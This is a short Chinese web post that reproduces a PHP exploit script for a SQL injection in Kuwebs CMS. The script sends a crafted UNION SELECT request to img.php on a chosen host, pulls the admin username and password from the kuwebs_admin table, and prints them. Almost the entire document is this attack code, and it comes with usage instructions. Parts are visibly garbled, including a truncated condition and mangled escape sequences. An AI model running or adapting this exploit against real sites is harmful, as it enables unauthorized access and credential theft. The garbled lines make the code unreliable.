kuwebs cms sql injection exp - 脚本漏洞

以下是引用片段：

error_reporting(E_ERROR);
print_r('
+---------------------------------------------------------------------+
kuwebs cms sql injection exp
Home:

if ($argc
print_r('
Usage: php '.$argv[0].' host /path
Example: php '.$argv[0].' 127.0.0.1 cc
');
die();
}
ob_start();
$host = $argv[1];
$path= $argv[2];
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)n");
fwrite($sock, "GET /$path/img/img.php?lang=cn&itemid=58%20and%201=2%20union%20select%201,concat(0x6F756F757E,adminuser,0x2D,adminpassword,0x7E31),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+kuwebs_admin%20-- HTTP/1.1rn");
fwrite($sock, "Host: $hostrn");
fwrite($sock, "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:6.0.2) Gecko/20100101 Firefox/6.0.2rn");
fwrite($sock, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn");
fwrite($sock, "Accept-Language: zh-cn,zh;q=0.5rn");
fwrite($sock, "Connection: keep-alivernrn");
$headers = "";
while ($str = trim(fgets($sock, 1024)))
     $headers .= "$strn";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 1024);
fclose($sock);
ob_end_flush();
//print_r($body);
if (strpos($body, 'ouou') !== false) {
preg_match('/ouou~(.*?)~1/', $body, $arr);
$result=explode("-",$arr[1]);
print_r("Exploit Success! nusername:".$result[0]."npassword:".$result[1]."n");

}
else{
print_r("Exploit Failed! n");
}
?>